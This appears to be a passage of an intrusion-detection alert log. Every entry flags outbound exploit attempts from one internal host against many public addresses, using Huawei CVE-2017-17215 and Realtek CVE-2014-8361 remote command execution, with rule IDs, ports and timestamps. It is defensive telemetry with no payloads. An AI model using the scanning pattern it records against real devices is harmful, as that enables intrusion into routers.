Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.76.153.239

Timestamp:	07/20/24-23:01:37.227564
SID:	2829579
Source Port:	48560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 211.192.130.220

Timestamp:	07/20/24-23:01:05.472694
SID:	2027339
Source Port:	56082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 222.15.221.37

Timestamp:	07/20/24-23:01:06.224181
SID:	2025132
Source Port:	50718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.226.131.148

Timestamp:	07/20/24-23:01:11.480465
SID:	2835222
Source Port:	34066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 19.5.103.108

Timestamp:	07/20/24-23:01:24.563144
SID:	2025132
Source Port:	44676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.217.48.202

Timestamp:	07/20/24-23:01:14.406186
SID:	2835222
Source Port:	52670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.186.136.100

Timestamp:	07/20/24-23:01:05.904128
SID:	2829579
Source Port:	60486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 190.120.169.109

Timestamp:	07/20/24-23:01:13.336390
SID:	2027339
Source Port:	46652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 205.244.60.239

Timestamp:	07/20/24-23:01:24.577731
SID:	2025132
Source Port:	60482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.2.127

Timestamp:	07/20/24-23:01:25.294369
SID:	2835222
Source Port:	42408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.38.205

Timestamp:	07/20/24-23:01:14.406708
SID:	2829579
Source Port:	41270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.161.185

Timestamp:	07/20/24-23:01:07.680629
SID:	2835222
Source Port:	59132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 165.198.120.17

Timestamp:	07/20/24-23:01:13.335234
SID:	2027339
Source Port:	49228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.10.119

Timestamp:	07/20/24-23:01:14.457357
SID:	2835222
Source Port:	49930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.127.227.163

Timestamp:	07/20/24-23:01:05.927305
SID:	2829579
Source Port:	36596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.27.15.71

Timestamp:	07/20/24-23:01:11.459583
SID:	2829579
Source Port:	60488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 206.233.127.191

Timestamp:	07/20/24-23:01:05.797653
SID:	2025132
Source Port:	50732
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 84.149.17.30

Timestamp:	07/20/24-23:01:29.524980
SID:	2025132
Source Port:	39978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 217.39.93.216

Timestamp:	07/20/24-23:01:33.060990
SID:	2829579
Source Port:	40342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.173.238.249

Timestamp:	07/20/24-23:01:25.466735
SID:	2027339
Source Port:	33592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.106.54.46

Timestamp:	07/20/24-23:01:33.047902
SID:	2829579
Source Port:	37912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.182.190.25

Timestamp:	07/20/24-23:01:22.785873
SID:	2835222
Source Port:	60462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 159.34.206.150

Timestamp:	07/20/24-23:01:34.820857
SID:	2027339
Source Port:	52050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.176.52.249

Timestamp:	07/20/24-23:01:07.683360
SID:	2835222
Source Port:	59366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 222.32.122.10

Timestamp:	07/20/24-23:01:33.461265
SID:	2025132
Source Port:	55798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.207.123.4

Timestamp:	07/20/24-23:01:22.777005
SID:	2829579
Source Port:	51612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 49.240.11.144

Timestamp:	07/20/24-23:01:05.898116
SID:	2835222
Source Port:	49402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.157.105.102

Timestamp:	07/20/24-23:01:28.180178
SID:	2829579
Source Port:	50488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.26.93.154

Timestamp:	07/20/24-23:01:07.682291
SID:	2835222
Source Port:	54744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 60.144.29.97

Timestamp:	07/20/24-23:01:05.788074
SID:	2027339
Source Port:	49814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 164.245.57.39

Timestamp:	07/20/24-23:01:11.474688
SID:	2829579
Source Port:	56722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.252.104.58

Timestamp:	07/20/24-23:01:11.467529
SID:	2835222
Source Port:	56670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.105.99.222

Timestamp:	07/20/24-23:01:22.781976
SID:	2835222
Source Port:	47560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.172.195.68

Timestamp:	07/20/24-23:01:34.909517
SID:	2027339
Source Port:	56686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.238.68

Timestamp:	07/20/24-23:01:11.472603
SID:	2829579
Source Port:	60006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.17.71.182

Timestamp:	07/20/24-23:01:02.414687
SID:	2835222
Source Port:	37178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 108.190.226.99

Timestamp:	07/20/24-23:01:29.172029
SID:	2831300
Source Port:	53566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.155.207

Timestamp:	07/20/24-23:01:22.766375
SID:	2835222
Source Port:	60816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.151.178.30

Timestamp:	07/20/24-23:01:19.227537
SID:	2835222
Source Port:	38798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.62.161.33

Timestamp:	07/20/24-23:01:33.059039
SID:	2835222
Source Port:	47658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 87.85.193.52

Timestamp:	07/20/24-23:01:06.902485
SID:	2027339
Source Port:	46642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.253.110.40

Timestamp:	07/20/24-23:01:37.121494
SID:	2835222
Source Port:	53028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 42.124.189.109

Timestamp:	07/20/24-23:01:05.898214
SID:	2835222
Source Port:	40646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.159.16.125

Timestamp:	07/20/24-23:01:05.838157
SID:	2027339
Source Port:	41912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 138.222.128.120

Timestamp:	07/20/24-23:01:05.616355
SID:	2027339
Source Port:	52796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 43.107.243.32

Timestamp:	07/20/24-23:01:22.781976
SID:	2829579
Source Port:	48650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 8.55.90.119

Timestamp:	07/20/24-23:01:05.588258
SID:	2025132
Source Port:	46444
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 185.142.167.93

Timestamp:	07/20/24-23:01:29.169710
SID:	2027339
Source Port:	36918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.84.97.78

Timestamp:	07/20/24-23:01:22.801376
SID:	2835222
Source Port:	49402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 37.3.189.109

Timestamp:	07/20/24-23:01:02.413580
SID:	2835222
Source Port:	53338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.208.145.61

Timestamp:	07/20/24-23:01:33.068258
SID:	2835222
Source Port:	53656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.122.153

Timestamp:	07/20/24-23:01:37.166003
SID:	2829579
Source Port:	38776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 59.126.120.18

Timestamp:	07/20/24-23:01:05.800883
SID:	2025132
Source Port:	59306
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.204.218

Timestamp:	07/20/24-23:01:25.293652
SID:	2835222
Source Port:	35292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.210.50.88

Timestamp:	07/20/24-23:01:02.413579
SID:	2829579
Source Port:	41258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 49.23.181.254

Timestamp:	07/20/24-23:01:25.291116
SID:	2835222
Source Port:	41702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 179.97.208.77

Timestamp:	07/20/24-23:01:34.901553
SID:	2831300
Source Port:	39736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 58.195.53.166

Timestamp:	07/20/24-23:01:05.911930
SID:	2829579
Source Port:	56500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.168.88.200

Timestamp:	07/20/24-23:01:22.736743
SID:	2829579
Source Port:	56192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 77.164.7.36

Timestamp:	07/20/24-23:01:05.827522
SID:	2027339
Source Port:	50454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.10.3.139

Timestamp:	07/20/24-23:01:07.676384
SID:	2829579
Source Port:	50300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.163.89.230

Timestamp:	07/20/24-23:01:14.398477
SID:	2829579
Source Port:	39542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 189.92.207.153

Timestamp:	07/20/24-23:01:29.185354
SID:	2027339
Source Port:	52260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 138.242.39.199

Timestamp:	07/20/24-23:01:02.410515
SID:	2835222
Source Port:	46694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.122.35.63

Timestamp:	07/20/24-23:01:11.472603
SID:	2835222
Source Port:	34748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 65.248.115.141

Timestamp:	07/20/24-23:01:06.155613
SID:	2025132
Source Port:	48680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 111.86.157.53

Timestamp:	07/20/24-23:01:06.241636
SID:	2027339
Source Port:	36028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 175.184.156.103

Timestamp:	07/20/24-23:01:29.735204
SID:	2025132
Source Port:	55126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.11.165.143

Timestamp:	07/20/24-23:01:22.792727
SID:	2835222
Source Port:	34198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 103.80.62.149

Timestamp:	07/20/24-23:01:11.480465
SID:	2835222
Source Port:	58452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 65.188.53.189

Timestamp:	07/20/24-23:01:05.601372
SID:	2027339
Source Port:	53244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.224.46

Timestamp:	07/20/24-23:01:25.290247
SID:	2835222
Source Port:	34512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 100.211.0.135

Timestamp:	07/20/24-23:01:34.914910
SID:	2027339
Source Port:	51444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.96.17.87

Timestamp:	07/20/24-23:01:11.477507
SID:	2829579
Source Port:	35438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.156.90.20

Timestamp:	07/20/24-23:01:22.792727
SID:	2835222
Source Port:	41780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 114.173.101.131

Timestamp:	07/20/24-23:01:13.332173
SID:	2831300
Source Port:	58010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.250.25.41

Timestamp:	07/20/24-23:01:28.200134
SID:	2835222
Source Port:	39638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 174.134.90.178

Timestamp:	07/20/24-23:01:29.185354
SID:	2831300
Source Port:	55126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.48.255

Timestamp:	07/20/24-23:01:25.287093
SID:	2829579
Source Port:	43656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 103.80.62.149

Timestamp:	07/20/24-23:01:11.480465
SID:	2829579
Source Port:	58452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.51.206

Timestamp:	07/20/24-23:01:28.142774
SID:	2835222
Source Port:	34732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.185.202.209

Timestamp:	07/20/24-23:01:33.060990
SID:	2835222
Source Port:	40528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.193.107

Timestamp:	07/20/24-23:01:37.122769
SID:	2835222
Source Port:	38762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.74.81.129

Timestamp:	07/20/24-23:01:37.123057
SID:	2829579
Source Port:	36600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.231.97.191

Timestamp:	07/20/24-23:01:05.927305
SID:	2829579
Source Port:	33668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.227.1.45

Timestamp:	07/20/24-23:01:28.143794
SID:	2835222
Source Port:	35756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 220.47.15.117

Timestamp:	07/20/24-23:01:30.710896
SID:	2025132
Source Port:	34004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 165.24.106.58

Timestamp:	07/20/24-23:01:34.931386
SID:	2831300
Source Port:	34520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.219.60.255

Timestamp:	07/20/24-23:01:14.397897
SID:	2829579
Source Port:	43776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 121.59.206.189

Timestamp:	07/20/24-23:01:19.235468
SID:	2829579
Source Port:	49960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.10.15.208

Timestamp:	07/20/24-23:01:02.418173
SID:	2835222
Source Port:	56210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.190.193.166

Timestamp:	07/20/24-23:01:14.397897
SID:	2835222
Source Port:	52098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 175.5.152.252

Timestamp:	07/20/24-23:01:29.534125
SID:	2027339
Source Port:	35360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 162.16.177.241

Timestamp:	07/20/24-23:01:34.980138
SID:	2831300
Source Port:	59850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 96.104.96.175

Timestamp:	07/20/24-23:01:37.120918
SID:	2829579
Source Port:	34038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 208.42.117.191

Timestamp:	07/20/24-23:01:24.076619
SID:	2027339
Source Port:	42346
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.13.99.243

Timestamp:	07/20/24-23:01:14.457358
SID:	2835222
Source Port:	59958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.74.148.40

Timestamp:	07/20/24-23:01:33.069192
SID:	2829579
Source Port:	58012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 169.172.43.160

Timestamp:	07/20/24-23:01:32.953021
SID:	2025132
Source Port:	53022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.106.45

Timestamp:	07/20/24-23:01:02.414137
SID:	2835222
Source Port:	52980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 41.70.70.158

Timestamp:	07/20/24-23:01:06.160718
SID:	2025132
Source Port:	58720
Destination Port:	52869
Protocol:	TCP
